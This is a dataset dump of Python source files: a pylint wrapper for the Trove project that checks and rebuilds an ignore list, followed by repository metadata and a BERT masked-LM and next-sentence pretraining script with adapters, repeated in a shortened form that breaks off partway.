import fnmatch import json from collections import OrderedDict import io import os import re import sys from pylint import lint from pylint.reporters import text DEFAULT_CONFIG_FILE = "tools/trove-pylint.config" DEFAULT_IGNORED_FILES = ['trove/tests'] DEFAULT_IGNORED_CODES = [] DEFAULT_IGNORED_MESSAGES = [] DEFAULT_ALWAYS_ERROR = [ "Undefined variable '_'", "Undefined variable '_LE'", "Undefined variable '_LI'", "Undefined variable '_LW'", "Undefined variable '_LC'"] MODE_CHECK = "check" MODE_REBUILD = "rebuild" class Config(object): def __init__(self, filename=DEFAULT_CONFIG_FILE): self.default_config = { "include": ["*.py"], "folder": "trove", "options": ["--rcfile=./pylintrc", "-E"], "ignored_files": DEFAULT_IGNORED_FILES, "ignored_codes": DEFAULT_IGNORED_CODES, "ignored_messages": DEFAULT_IGNORED_MESSAGES, "ignored_file_codes": [], "ignored_file_messages": [], "ignored_file_code_messages": [], "always_error_messages": DEFAULT_ALWAYS_ERROR } self.config = self.default_config def sort_config(self): sorted_config = OrderedDict() for key in sorted(self.config.keys()): value = self.get(key) if isinstance(value, list) and not isinstance(value,str): sorted_config[key] = sorted(value) else: sorted_config[key] = value return sorted_config def save(self, filename=DEFAULT_CONFIG_FILE): if os.path.isfile(filename): os.rename(filename, "%s~" % filename) with open(filename, 'w') as fp: json.dump(self.sort_config(), fp, encoding="utf-8", indent=2, separators=(',', ': ')) def load(self, filename=DEFAULT_CONFIG_FILE): with open(filename) as fp: self.config = json.load(fp, encoding="utf-8") def get(self, attribute): return self.config[attribute] def is_file_ignored(self, f): if any(f.startswith(i) for i in self.config['ignored_files']): return True return False def is_file_included(self, f): if any(fnmatch.fnmatch(f, wc) for wc in self.config['include']): return True return False def is_always_error(self, message): if message in self.config['always_error_messages']: return True return False def ignore(self, filename, code, codename, message): if self.is_file_ignored(filename): return True if self.is_always_error(message): return False if code in self.config['ignored_codes']: return True if codename in self.config['ignored_codes']: return True if message and any(message.startswith(ignore_message) for ignore_message in self.config['ignored_messages']): return True if filename and message and ( [filename, message] in self.config['ignored_file_messages']): return True if filename and code and ( [filename, code] in self.config['ignored_file_codes']): return True if filename and codename and ( [filename, codename] in self.config['ignored_file_codes']): return True for fcm in self.config['ignored_file_code_messages']: if filename != fcm[0]: continue if fcm[1] not in (code, codename): continue if message.startswith(fcm[2]): return True return False def ignore_code(self, c): _c = set(self.config['ignored_codes']) _c.add(c) self.config['ignored_codes'] = list(_c) def ignore_files(self, f): _c = set(self.config['ignored_files']) _c.add(f) self.config['ignored_files'] = list(_c) def ignore_message(self, m): _c = set(self.config['ignored_messages']) _c.add(m) self.config['ignored_messages'] = list(_c) def ignore_file_code(self, f, c): _c = set(self.config['ignored_file_codes']) _c.add((f, c)) self.config['ignored_file_codes'] = list(_c) def ignore_file_message(self, f, m): _c = set(self.config['ignored_file_messages']) _c.add((f, m)) self.config['ignored_file_messages'] = list(_c) def ignore_file_code_message(self, f, c, m, fn): _c = set(self.config['ignored_file_code_messages']) _c.add((f, c, m, fn)) self.config['ignored_file_code_messages'] = list(_c) def main(): if len(sys.argv) == 1 or sys.argv[1] == "check": return check() elif sys.argv[1] == "rebuild": return rebuild() elif sys.argv[1] == "initialize": return initialize() else: return usage() def usage(): print("Usage: %s [check|rebuild]" % sys.argv[0]) print("\tUse this tool to perform a lint check of the trove project.") print("\t check: perform the lint check.") print("\t rebuild: rebuild the list of exceptions to ignore.") return 0 class ParseableTextReporter(text.TextReporter): name = 'parseable' line_format = '{path}:{line}: [{msg_id}({symbol}), {obj}] {msg}' class LintRunner(object): def __init__(self): self.config = Config() self.idline = re.compile("^[*]* Module .*") self.detail = re.compile(r"(\S+):(\d+): \[(\S+)$(\S+)$," r" (\S+)?] (.*)") def dolint(self, filename): exceptions = set() buffer = io.StringIO() reporter = ParseableTextReporter(output=buffer) options = list(self.config.get('options')) options.append(filename) lint.Run(options, reporter=reporter, exit=False) output = buffer.getvalue() buffer.close() for line in output.splitlines(): if self.idline.match(line): continue if self.detail.match(line): mo = self.detail.search(line) tokens = mo.groups() fn = tokens[0] ln = tokens[1] code = tokens[2] codename = tokens[3] func = tokens[4] message = tokens[5] if not self.config.ignore(fn, code, codename, message): exceptions.add((fn, ln, code, codename, func, message)) return exceptions def process(self, mode=MODE_CHECK): files_processed = 0 files_with_errors = 0 errors_recorded = 0 exceptions_recorded = 0 all_exceptions = [] for (root, dirs, files) in os.walk(self.config.get('folder')): # if we shouldn't even bother about this part of the if self.config.is_file_ignored(root): continue # that we will walk by eliminating any dirs that will # end up getting ignored for d in dirs: p = os.path.join(root, d) if self.config.is_file_ignored(p): dirs.remove(d) # check if we can ignore the file and process if not for f in files: p = os.path.join(root, f) if self.config.is_file_ignored(p): continue if not self.config.is_file_included(f): continue files_processed += 1 exceptions = self.dolint(p) file_had_errors = 0 for e in exceptions: # what we do with this exception depents on the # kind of exception, and the mode if self.config.is_always_error(e[5]): all_exceptions.append(e) errors_recorded += 1 file_had_errors += 1 elif mode == MODE_REBUILD: # parameters to ignore_file_code_message are # filename, code, message and function self.config.ignore_file_code_message(e[0], e[2], e[-1], e[4]) self.config.ignore_file_code_message(e[0], e[3], e[-1], e[4]) exceptions_recorded += 1 elif mode == MODE_CHECK: all_exceptions.append(e) errors_recorded += 1 file_had_errors += 1 if file_had_errors: files_with_errors += 1 for e in sorted(all_exceptions): print("ERROR: %s %s: %s %s, %s: %s" % (e[0], e[1], e[2], e[3], e[4], e[5])) return (files_processed, files_with_errors, errors_recorded, exceptions_recorded) def rebuild(self): self.initialize() (files_processed, files_with_errors, errors_recorded, exceptions_recorded) = self.process(mode=MODE_REBUILD) if files_with_errors > 0: print("Rebuild failed. %s files processed, %s had errors, " "%s errors recorded." % ( files_processed, files_with_errors, errors_recorded)) return 1 self.config.save() print("Rebuild completed. %s files processed, %s exceptions recorded." % (files_processed, exceptions_recorded)) return 0 def check(self): self.config.load() (files_processed, files_with_errors, errors_recorded, exceptions_recorded) = self.process(mode=MODE_CHECK) if files_with_errors > 0: print("Check failed. %s files processed, %s had errors, " "%s errors recorded." % ( files_processed, files_with_errors, errors_recorded)) return 1 print("Check succeeded. %s files processed" % files_processed) return 0 def initialize(self): self.config.save() return 0 def check(): exit(LintRunner().check()) def rebuild(): exit(LintRunner().rebuild()) def initialize(): exit(LintRunner().initialize()) if __name__ == "__main__": main()

true

f7050555bf105b4cac50608f7fef5821912f5697

18,791

py

Python

training_utility/run_pretraining_adapter.py

ai-nikolai/Retrograph-1

54bd534d47218ca437c422a1abe5b1e995f55d71

[ "Apache-2.0" ]

14

2020-06-01T14:22:43.000Z

2022-02-01T15:46:13.000Z

training_utility/run_pretraining_adapter.py

ai-nikolai/Retrograph-1

54bd534d47218ca437c422a1abe5b1e995f55d71

[ "Apache-2.0" ]

8

2020-12-17T08:23:46.000Z

2021-11-10T14:59:06.000Z

training_utility/run_pretraining_adapter.py

ai-nikolai/Retrograph-1

54bd534d47218ca437c422a1abe5b1e995f55d71

[ "Apache-2.0" ]

5

2020-06-01T14:21:17.000Z

2021-10-01T09:47:38.000Z

# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Run masked LM/next sentence masked_lm pre-training for BERT.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from retrograph.modeling import modeling_adapter as modeling from retrograph.modeling import optimization_adapter as optimization import tensorflow as tf flags = tf.flags FLAGS = flags.FLAGS ## Required parameters flags.DEFINE_string( "bert_config_file", None, "The config json file corresponding to the pre-trained BERT model. " "This specifies the model architecture.") flags.DEFINE_string( "input_file", None, "Input TF example files (can be a glob or comma separated).") flags.DEFINE_string( "output_dir", None, "The output directory where the model checkpoints will be written.") ## Other parameters flags.DEFINE_string( "init_checkpoint", None, "Initial checkpoint (usually from a pre-trained BERT model).") flags.DEFINE_integer( "max_seq_length", 128, "The maximum total input sequence length after WordPiece tokenization. " "Sequences longer than this will be truncated, and sequences shorter " "than this will be padded. Must match data generation.") flags.DEFINE_integer( "max_predictions_per_seq", 20, "Maximum number of masked LM predictions per sequence. " "Must match data generation.") flags.DEFINE_bool("do_train", False, "Whether to run training.") flags.DEFINE_bool("do_eval", False, "Whether to run eval on the dev set.") flags.DEFINE_integer("train_batch_size", 32, "Total batch size for training.") flags.DEFINE_integer("eval_batch_size", 8, "Total batch size for eval.") flags.DEFINE_float("learning_rate", 5e-5, "The initial learning rate for Adam.") flags.DEFINE_integer("num_train_steps", 100000, "Number of training steps.") flags.DEFINE_integer("num_warmup_steps", 10000, "Number of warmup steps.") flags.DEFINE_integer("save_checkpoints_steps", 1000, "How often to save the model checkpoint.") flags.DEFINE_integer("iterations_per_loop", 1000, "How many steps to make in each estimator call.") flags.DEFINE_integer("max_eval_steps", 100, "Maximum number of eval steps.") flags.DEFINE_bool("use_tpu", False, "Whether to use TPU or GPU/CPU.") tf.flags.DEFINE_string( "tpu_name", None, "The Cloud TPU to use for training. This should be either the name " "used when creating the Cloud TPU, or a grpc://ip.address.of.tpu:8470 " "url.") tf.flags.DEFINE_string( "tpu_zone", None, "[Optional] GCE zone where the Cloud TPU is located in. If not " "specified, we will attempt to automatically detect the GCE project from " "metadata.") tf.flags.DEFINE_string( "gcp_project", None, "[Optional] Project name for the Cloud TPU-enabled project. If not " "specified, we will attempt to automatically detect the GCE project from " "metadata.") tf.flags.DEFINE_string("master", None, "[Optional] TensorFlow master URL.") flags.DEFINE_integer( "num_tpu_cores", 8, "Only used if `use_tpu` is True. Total number of TPU cores to use.") def model_fn_builder(bert_config, init_checkpoint, learning_rate, num_train_steps, num_warmup_steps, use_tpu, use_one_hot_embeddings): """Returns `model_fn` closure for TPUEstimator.""" def model_fn(features, labels, mode, params): # pylint: disable=unused-argument """The `model_fn` for TPUEstimator.""" tf.logging.info("*** Features ***") for name in sorted(features.keys()): tf.logging.info(" name = %s, shape = %s" % (name, features[name].shape)) input_ids = features["input_ids"] input_mask = features["input_mask"] segment_ids = features["segment_ids"] masked_lm_positions = features["masked_lm_positions"] masked_lm_ids = features["masked_lm_ids"] masked_lm_weights = features["masked_lm_weights"] next_sentence_labels = features["next_sentence_labels"] is_training = (mode == tf.estimator.ModeKeys.TRAIN) model = modeling.BertModel( config=bert_config, is_training=is_training, input_ids=input_ids, input_mask=input_mask, token_type_ids=segment_ids, use_one_hot_embeddings=use_one_hot_embeddings) (masked_lm_loss, masked_lm_example_loss, masked_lm_log_probs) = get_masked_lm_output( bert_config, model.get_sequence_output(), model.get_embedding_table(), masked_lm_positions, masked_lm_ids, masked_lm_weights) (next_sentence_loss, next_sentence_example_loss, next_sentence_log_probs) = get_next_sentence_output( bert_config, model.get_pooled_output(), next_sentence_labels) total_loss = masked_lm_loss + next_sentence_loss tvars = tf.trainable_variables() initialized_variable_names = {} scaffold_fn = None if init_checkpoint: (assignment_map, initialized_variable_names ) = modeling.get_assignment_map_from_checkpoint(tvars, init_checkpoint) if use_tpu: def tpu_scaffold(): tf.train.init_from_checkpoint(init_checkpoint, assignment_map) return tf.train.Scaffold() scaffold_fn = tpu_scaffold else: tf.train.init_from_checkpoint(init_checkpoint, assignment_map) tf.logging.info("**** Trainable Variables ****") for var in tvars: init_string = "" if var.name in initialized_variable_names: init_string = ", *INIT_FROM_CKPT*" tf.logging.info(" name = %s, shape = %s%s", var.name, var.shape, init_string) output_spec = None if mode == tf.estimator.ModeKeys.TRAIN: train_op = optimization.create_optimizer( total_loss, learning_rate, num_train_steps, num_warmup_steps, use_tpu) output_spec = tf.contrib.tpu.TPUEstimatorSpec( mode=mode, loss=total_loss, train_op=train_op, scaffold_fn=scaffold_fn) elif mode == tf.estimator.ModeKeys.EVAL: def metric_fn(masked_lm_example_loss, masked_lm_log_probs, masked_lm_ids, masked_lm_weights, next_sentence_example_loss, next_sentence_log_probs, next_sentence_labels): """Computes the loss and accuracy of the model.""" masked_lm_log_probs = tf.reshape(masked_lm_log_probs, [-1, masked_lm_log_probs.shape[-1]]) masked_lm_predictions = tf.argmax( masked_lm_log_probs, axis=-1, output_type=tf.int32) masked_lm_example_loss = tf.reshape(masked_lm_example_loss, [-1]) masked_lm_ids = tf.reshape(masked_lm_ids, [-1]) masked_lm_weights = tf.reshape(masked_lm_weights, [-1]) masked_lm_accuracy = tf.metrics.accuracy( labels=masked_lm_ids, predictions=masked_lm_predictions, weights=masked_lm_weights) masked_lm_mean_loss = tf.metrics.mean( values=masked_lm_example_loss, weights=masked_lm_weights) next_sentence_log_probs = tf.reshape( next_sentence_log_probs, [-1, next_sentence_log_probs.shape[-1]]) next_sentence_predictions = tf.argmax( next_sentence_log_probs, axis=-1, output_type=tf.int32) next_sentence_labels = tf.reshape(next_sentence_labels, [-1]) next_sentence_accuracy = tf.metrics.accuracy( labels=next_sentence_labels, predictions=next_sentence_predictions) next_sentence_mean_loss = tf.metrics.mean( values=next_sentence_example_loss) return { "masked_lm_accuracy": masked_lm_accuracy, "masked_lm_loss": masked_lm_mean_loss, "next_sentence_accuracy": next_sentence_accuracy, "next_sentence_loss": next_sentence_mean_loss, } eval_metrics = (metric_fn, [ masked_lm_example_loss, masked_lm_log_probs, masked_lm_ids, masked_lm_weights, next_sentence_example_loss, next_sentence_log_probs, next_sentence_labels ]) output_spec = tf.contrib.tpu.TPUEstimatorSpec( mode=mode, loss=total_loss, eval_metrics=eval_metrics, scaffold_fn=scaffold_fn) else: raise ValueError("Only TRAIN and EVAL modes are supported: %s" % (mode)) return output_spec return model_fn def get_masked_lm_output(bert_config, input_tensor, output_weights, positions, label_ids, label_weights): """Get loss and log probs for the masked LM.""" input_tensor = gather_indexes(input_tensor, positions) with tf.variable_scope("cls/predictions"): # We apply one more non-linear transformation before the output layer. # This matrix is not used after pre-training. with tf.variable_scope("transform"): input_tensor = tf.layers.dense( input_tensor, units=bert_config.hidden_size, activation=modeling.get_activation(bert_config.hidden_act), kernel_initializer=modeling.create_initializer( bert_config.initializer_range)) input_tensor = modeling.layer_norm(input_tensor) # The output weights are the same as the input embeddings, but there is # an output-only bias for each token. output_bias = tf.get_variable( "output_bias", shape=[bert_config.vocab_size], initializer=tf.zeros_initializer()) logits = tf.matmul(input_tensor, output_weights, transpose_b=True) logits = tf.nn.bias_add(logits, output_bias) log_probs = tf.nn.log_softmax(logits, axis=-1) label_ids = tf.reshape(label_ids, [-1]) label_weights = tf.reshape(label_weights, [-1]) one_hot_labels = tf.one_hot( label_ids, depth=bert_config.vocab_size, dtype=tf.float32) # The `positions` tensor might be zero-padded (if the sequence is too # short to have the maximum number of predictions). The `label_weights` # tensor has a value of 1.0 for every real prediction and 0.0 for the # padding predictions. per_example_loss = -tf.reduce_sum(log_probs * one_hot_labels, axis=[-1]) numerator = tf.reduce_sum(label_weights * per_example_loss) denominator = tf.reduce_sum(label_weights) + 1e-5 loss = numerator / denominator return (loss, per_example_loss, log_probs) def get_next_sentence_output(bert_config, input_tensor, labels): """Get loss and log probs for the next sentence prediction.""" # Simple binary classification. Note that 0 is "next sentence" and 1 is # "random sentence". This weight matrix is not used after pre-training. with tf.variable_scope("cls/seq_relationship"): output_weights = tf.get_variable( "output_weights", shape=[2, bert_config.hidden_size], initializer=modeling.create_initializer(bert_config.initializer_range)) output_bias = tf.get_variable( "output_bias", shape=[2], initializer=tf.zeros_initializer()) logits = tf.matmul(input_tensor, output_weights, transpose_b=True) logits = tf.nn.bias_add(logits, output_bias) log_probs = tf.nn.log_softmax(logits, axis=-1) labels = tf.reshape(labels, [-1]) one_hot_labels = tf.one_hot(labels, depth=2, dtype=tf.float32) per_example_loss = -tf.reduce_sum(one_hot_labels * log_probs, axis=-1) loss = tf.reduce_mean(per_example_loss) return (loss, per_example_loss, log_probs) def gather_indexes(sequence_tensor, positions): """Gathers the vectors at the specific positions over a minibatch.""" sequence_shape = modeling.get_shape_list(sequence_tensor, expected_rank=3) batch_size = sequence_shape[0] seq_length = sequence_shape[1] width = sequence_shape[2] flat_offsets = tf.reshape( tf.range(0, batch_size, dtype=tf.int32) * seq_length, [-1, 1]) flat_positions = tf.reshape(positions + flat_offsets, [-1]) flat_sequence_tensor = tf.reshape(sequence_tensor, [batch_size * seq_length, width]) output_tensor = tf.gather(flat_sequence_tensor, flat_positions) return output_tensor def input_fn_builder(input_files, max_seq_length, max_predictions_per_seq, is_training, num_cpu_threads=4): """Creates an `input_fn` closure to be passed to TPUEstimator.""" def input_fn(params): """The actual input function.""" batch_size = params["batch_size"] name_to_features = { "input_ids": tf.FixedLenFeature([max_seq_length], tf.int64), "input_mask": tf.FixedLenFeature([max_seq_length], tf.int64), "segment_ids": tf.FixedLenFeature([max_seq_length], tf.int64), "masked_lm_positions": tf.FixedLenFeature([max_predictions_per_seq], tf.int64), "masked_lm_ids": tf.FixedLenFeature([max_predictions_per_seq], tf.int64), "masked_lm_weights": tf.FixedLenFeature([max_predictions_per_seq], tf.float32), "next_sentence_labels": tf.FixedLenFeature([1], tf.int64), } # For training, we want a lot of parallel reading and shuffling. # For eval, we want no shuffling and parallel reading doesn't matter. if is_training: d = tf.data.Dataset.from_tensor_slices(tf.constant(input_files)) d = d.repeat() d = d.shuffle(buffer_size=len(input_files)) # `cycle_length` is the number of parallel files that get read. cycle_length = min(num_cpu_threads, len(input_files)) # `sloppy` mode means that the interleaving is not exact. This adds # even more randomness to the training pipeline. d = d.apply( tf.contrib.data.parallel_interleave( tf.data.TFRecordDataset, sloppy=is_training, cycle_length=cycle_length)) d = d.shuffle(buffer_size=100) else: d = tf.data.TFRecordDataset(input_files) # Since we evaluate for a fixed number of steps we don't want to encounter # out-of-range exceptions. d = d.repeat() # We must `drop_remainder` on training because the TPU requires fixed # size dimensions. For eval, we assume we are evaluating on the CPU or GPU # and we *don't* want to drop the remainder, otherwise we wont cover # every sample. d = d.apply( tf.contrib.data.map_and_batch( lambda record: _decode_record(record, name_to_features), batch_size=batch_size, num_parallel_batches=num_cpu_threads, drop_remainder=True)) return d return input_fn def _decode_record(record, name_to_features): """Decodes a record to a TensorFlow example.""" example = tf.parse_single_example(record, name_to_features) # tf.Example only supports tf.int64, but the TPU only supports tf.int32. # So cast all int64 to int32. for name in list(example.keys()): t = example[name] if t.dtype == tf.int64: t = tf.to_int32(t) example[name] = t return example def main(_): tf.logging.set_verbosity(tf.logging.INFO) if not FLAGS.do_train and not FLAGS.do_eval: raise ValueError("At least one of `do_train` or `do_eval` must be True.") bert_config = modeling.BertConfig.from_json_file(FLAGS.bert_config_file) tf.gfile.MakeDirs(FLAGS.output_dir) input_files = [] for input_pattern in FLAGS.input_file.split(","): input_files.extend(tf.gfile.Glob(input_pattern)) tf.logging.info("*** Input Files ***") for input_file in input_files: tf.logging.info(" %s" % input_file) tpu_cluster_resolver = None if FLAGS.use_tpu and FLAGS.tpu_name: tpu_cluster_resolver = tf.contrib.cluster_resolver.TPUClusterResolver( FLAGS.tpu_name, zone=FLAGS.tpu_zone, project=FLAGS.gcp_project) is_per_host = tf.contrib.tpu.InputPipelineConfig.PER_HOST_V2 run_config = tf.contrib.tpu.RunConfig( cluster=tpu_cluster_resolver, master=FLAGS.master, model_dir=FLAGS.output_dir, save_checkpoints_steps=FLAGS.save_checkpoints_steps, keep_checkpoint_max=20, tpu_config=tf.contrib.tpu.TPUConfig( iterations_per_loop=FLAGS.iterations_per_loop, num_shards=FLAGS.num_tpu_cores, per_host_input_for_training=is_per_host)) model_fn = model_fn_builder( bert_config=bert_config, init_checkpoint=FLAGS.init_checkpoint, learning_rate=FLAGS.learning_rate, num_train_steps=FLAGS.num_train_steps, num_warmup_steps=FLAGS.num_warmup_steps, use_tpu=FLAGS.use_tpu, use_one_hot_embeddings=FLAGS.use_tpu) # If TPU is not available, this will fall back to normal Estimator on CPU # or GPU. estimator = tf.contrib.tpu.TPUEstimator( use_tpu=FLAGS.use_tpu, model_fn=model_fn, config=run_config, train_batch_size=FLAGS.train_batch_size, eval_batch_size=FLAGS.eval_batch_size) if FLAGS.do_train: tf.logging.info("***** Running training *****") tf.logging.info(" Batch size = %d", FLAGS.train_batch_size) train_input_fn = input_fn_builder( input_files=input_files, max_seq_length=FLAGS.max_seq_length, max_predictions_per_seq=FLAGS.max_predictions_per_seq, is_training=True) estimator.train(input_fn=train_input_fn, max_steps=FLAGS.num_train_steps) if FLAGS.do_eval: tf.logging.info("***** Running evaluation *****") tf.logging.info(" Batch size = %d", FLAGS.eval_batch_size) eval_input_fn = input_fn_builder( input_files=input_files, max_seq_length=FLAGS.max_seq_length, max_predictions_per_seq=FLAGS.max_predictions_per_seq, is_training=False) result = estimator.evaluate( input_fn=eval_input_fn, steps=FLAGS.max_eval_steps) output_eval_file = os.path.join(FLAGS.output_dir, "eval_results.txt") with tf.gfile.GFile(output_eval_file, "w") as writer: tf.logging.info("***** Eval results *****") for key in sorted(result.keys()): tf.logging.info(" %s = %s", key, str(result[key])) writer.write("%s = %s\n" % (key, str(result[key]))) if __name__ == "__main__": flags.mark_flag_as_required("input_file") flags.mark_flag_as_required("bert_config_file") flags.mark_flag_as_required("output_dir") tf.app.run()

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from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from retrograph.modeling import modeling_adapter as modeling from retrograph.modeling import optimization_adapter as optimization import tensorflow as tf flags = tf.flags FLAGS = flags.FLAGS "bert_config_file", None, "The config json file corresponding to the pre-trained BERT model. " "This specifies the model architecture.") flags.DEFINE_string( "input_file", None, "Input TF example files (can be a glob or comma separated).") flags.DEFINE_string( "output_dir", None, "The output directory where the model checkpoints will be written.") ng( "init_checkpoint", None, "Initial checkpoint (usually from a pre-trained BERT model).") flags.DEFINE_integer( "max_seq_length", 128, "The maximum total input sequence length after WordPiece tokenization. " "Sequences longer than this will be truncated, and sequences shorter " "than this will be padded. Must match data generation.") flags.DEFINE_integer( "max_predictions_per_seq", 20, "Maximum number of masked LM predictions per sequence. " "Must match data generation.") flags.DEFINE_bool("do_train", False, "Whether to run training.") flags.DEFINE_bool("do_eval", False, "Whether to run eval on the dev set.") flags.DEFINE_integer("train_batch_size", 32, "Total batch size for training.") flags.DEFINE_integer("eval_batch_size", 8, "Total batch size for eval.") flags.DEFINE_float("learning_rate", 5e-5, "The initial learning rate for Adam.") flags.DEFINE_integer("num_train_steps", 100000, "Number of training steps.") flags.DEFINE_integer("num_warmup_steps", 10000, "Number of warmup steps.") flags.DEFINE_integer("save_checkpoints_steps", 1000, "How often to save the model checkpoint.") flags.DEFINE_integer("iterations_per_loop", 1000, "How many steps to make in each estimator call.") flags.DEFINE_integer("max_eval_steps", 100, "Maximum number of eval steps.") flags.DEFINE_bool("use_tpu", False, "Whether to use TPU or GPU/CPU.") tf.flags.DEFINE_string( "tpu_name", None, "The Cloud TPU to use for training. This should be either the name " "used when creating the Cloud TPU, or a grpc://ip.address.of.tpu:8470 " "url.") tf.flags.DEFINE_string( "tpu_zone", None, "[Optional] GCE zone where the Cloud TPU is located in. If not " "specified, we will attempt to automatically detect the GCE project from " "metadata.") tf.flags.DEFINE_string( "gcp_project", None, "[Optional] Project name for the Cloud TPU-enabled project. If not " "specified, we will attempt to automatically detect the GCE project from " "metadata.") tf.flags.DEFINE_string("master", None, "[Optional] TensorFlow master URL.") flags.DEFINE_integer( "num_tpu_cores", 8, "Only used if `use_tpu` is True. Total number of TPU cores to use.") def model_fn_builder(bert_config, init_checkpoint, learning_rate, num_train_steps, num_warmup_steps, use_tpu, use_one_hot_embeddings): def model_fn(features, labels, mode, params): tf.logging.info("*** Features ***") for name in sorted(features.keys()): tf.logging.info(" name = %s, shape = %s" % (name, features[name].shape)) input_ids = features["input_ids"] input_mask = features["input_mask"] segment_ids = features["segment_ids"] masked_lm_positions = features["masked_lm_positions"] masked_lm_ids = features["masked_lm_ids"] masked_lm_weights = features["masked_lm_weights"] next_sentence_labels = features["next_sentence_labels"] is_training = (mode == tf.estimator.ModeKeys.TRAIN) model = modeling.BertModel( config=bert_config, is_training=is_training, input_ids=input_ids, input_mask=input_mask, token_type_ids=segment_ids, use_one_hot_embeddings=use_one_hot_embeddings) (masked_lm_loss, masked_lm_example_loss, masked_lm_log_probs) = get_masked_lm_output( bert_config, model.get_sequence_output(), model.get_embedding_table(), masked_lm_positions, masked_lm_ids, masked_lm_weights) (next_sentence_loss, next_sentence_example_loss, next_sentence_log_probs) = get_next_sentence_output( bert_config, model.get_pooled_output(), next_sentence_labels) total_loss = masked_lm_loss + next_sentence_loss tvars = tf.trainable_variables() initialized_variable_names = {} scaffold_fn = None if init_checkpoint: (assignment_map, initialized_variable_names ) = modeling.get_assignment_map_from_checkpoint(tvars, init_checkpoint) if use_tpu: def tpu_scaffold(): tf.train.init_from_checkpoint(init_checkpoint, assignment_map) return tf.train.Scaffold() scaffold_fn = tpu_scaffold else: tf.train.init_from_checkpoint(init_checkpoint, assignment_map) tf.logging.info("**** Trainable Variables ****") for var in tvars: init_string = "" if var.name in initialized_variable_names: init_string = ", *INIT_FROM_CKPT*" tf.logging.info(" name = %s, shape = %s%s", var.name, var.shape, init_string) output_spec = None if mode == tf.estimator.ModeKeys.TRAIN: train_op = optimization.create_optimizer( total_loss, learning_rate, num_train_steps, num_warmup_steps, use_tpu) output_spec = tf.contrib.tpu.TPUEstimatorSpec( mode=mode, loss=total_loss, train_op=train_op, scaffold_fn=scaffold_fn) elif mode == tf.estimator.ModeKeys.EVAL: def metric_fn(masked_lm_example_loss, masked_lm_log_probs, masked_lm_ids, masked_lm_weights, next_sentence_example_loss, next_sentence_log_probs, next_sentence_labels): """Computes the loss and accuracy of the model.""" masked_lm_log_probs = tf.reshape(masked_lm_log_probs, [-1, masked_lm_log_probs.shape[-1]]) masked_lm_predictions = tf.argmax( masked_lm_log_probs, axis=-1, output_type=tf.int32) masked_lm_example_loss = tf.reshape(masked_lm_example_loss, [-1]) masked_lm_ids = tf.reshape(masked_lm_ids, [-1]) masked_lm_weights = tf.reshape(masked_lm_weights, [-1]) masked_lm_accuracy = tf.metrics.accuracy( labels=masked_lm_ids, predictions=masked_lm_predictions, weights=masked_lm_weights) masked_lm_mean_loss = tf.metrics.mean( values=masked_lm_example_loss, weights=masked_lm_weights) next_sentence_log_probs = tf.reshape( next_sentence_log_probs, [-1, next_sentence_log_probs.shape[-1]]) next_sentence_predictions = tf.argmax( next_sentence_log_probs, axis=-1, output_type=tf.int32) next_sentence_labels = tf.reshape(next_sentence_labels, [-1]) next_sentence_accuracy = tf.metrics.accuracy( labels=next_sentence_labels, predictions=next_sentence_predictions) next_sentence_mean_loss = tf.metrics.mean( values=next_sentence_example_loss) return { "masked_lm_accuracy": masked_lm_accuracy, "masked_lm_loss": masked_lm_mean_loss, "next_sentence_accuracy": next_sentence_accuracy, "next_sentence_loss": next_sentence_mean_loss, } eval_metrics = (metric_fn, [ masked_lm_example_loss, masked_lm_log_probs, masked_lm_ids, masked_lm_weights, next_sentence_example_loss, next_sentence_log_probs, next_sentence_labels ]) output_spec = tf.contrib.tpu.TPUEstimatorSpec( mode=mode, loss=total_loss, eval_metrics=eval_metrics, scaffold_fn=scaffold_fn) else: raise ValueError("Only TRAIN and EVAL modes are supported: %s" % (mode)) return output_spec return model_fn def get_masked_lm_output(bert_config, input_tensor, output_weights, positions, label_ids, label_weights): input_tensor = gather_indexes(input_tensor, positions) with tf.variable_scope("cls/predictions"): with tf.variable_scope("transform"): input_tensor = tf.layers.dense( input_tensor, units=bert_config.hidden_size, activation=modeling.get_activation(bert_config.hidden_act), kernel_initializer=modeling.create_initializer( bert_config.initializer_range)) input_tensor = modeling.layer_norm(input_tensor) output_bias = tf.get_variable( "output_bias", shape=[bert_config.vocab_size], initializer=tf.zeros_initializer()) logits = tf.matmul(input_tensor, output_weights, transpose_b=True) logits = tf.nn.bias_add(logits, output_bias) log_probs = tf.nn.log_softmax(logits, axis=-1) label_ids = tf.reshape(label_ids, [-1]) label_weights = tf.reshape(label_weights, [-1]) one_hot_labels = tf.one_hot( label_ids, depth=bert_config.vocab_size, dtype=tf.float32) per_example_loss = -tf.reduce_sum(log_probs * one_hot_labels, axis=[-1]) numerator = tf.reduce_sum(label_weights * per_example_loss) denominator = tf.reduce_sum(label_weights) + 1e-5 loss = numerator / denominator return (loss, per_example_loss, log_probs) def get_next_sentence_output(bert_config, input_tensor, labels): with tf.variable_scope("cls/seq_relationship"): output_weights = tf.get_variable( "output_weights", shape=[2, bert_config.hidden_size], initializer=modeling.create_initializer(bert_config.initializer_range)) output_bias = tf.get_variable( "output_bias", shape=[2], initializer=tf.zeros_initializer()) logits = tf.matmul(input_tensor, output_weights, transpose_b=True) logits = tf.nn.bias_add(logits, output_bias) log_probs = tf.nn.log_softmax(logits, axis=-1) labels = tf.reshape(labels, [-1]) one_hot_labels = tf.one_hot(labels, depth=2, dtype=tf.float32) per_example_loss = -tf.reduce_sum(one_hot_labels * log_probs, axis=-1) loss = tf.reduce_mean(per_example_loss) return (loss, per_example_loss, log_probs) def gather_indexes(sequence_tensor, positions): sequence_shape = modeling.get_shape_list(sequence_tensor, expected_rank=3) batch_size = sequence_shape[0] seq_length = sequence_shape[1] width = sequence_shape[2] flat_offsets = tf.reshape( tf.range(0, batch_size, dtype=tf.int32) * seq_length, [-1, 1]) flat_positions = tf.reshape(positions + flat_offsets, [-1]) flat_sequence_tensor = tf.reshape(sequence_tensor, [batch_size * seq_length, width]) output_tensor = tf.gather(flat_sequence_tensor, flat_positions) return output_tensor def input_fn_builder(input_files, max_seq_length, max_predictions_per_seq, is_training, num_cpu_threads=4): def input_fn(params): batch_size = 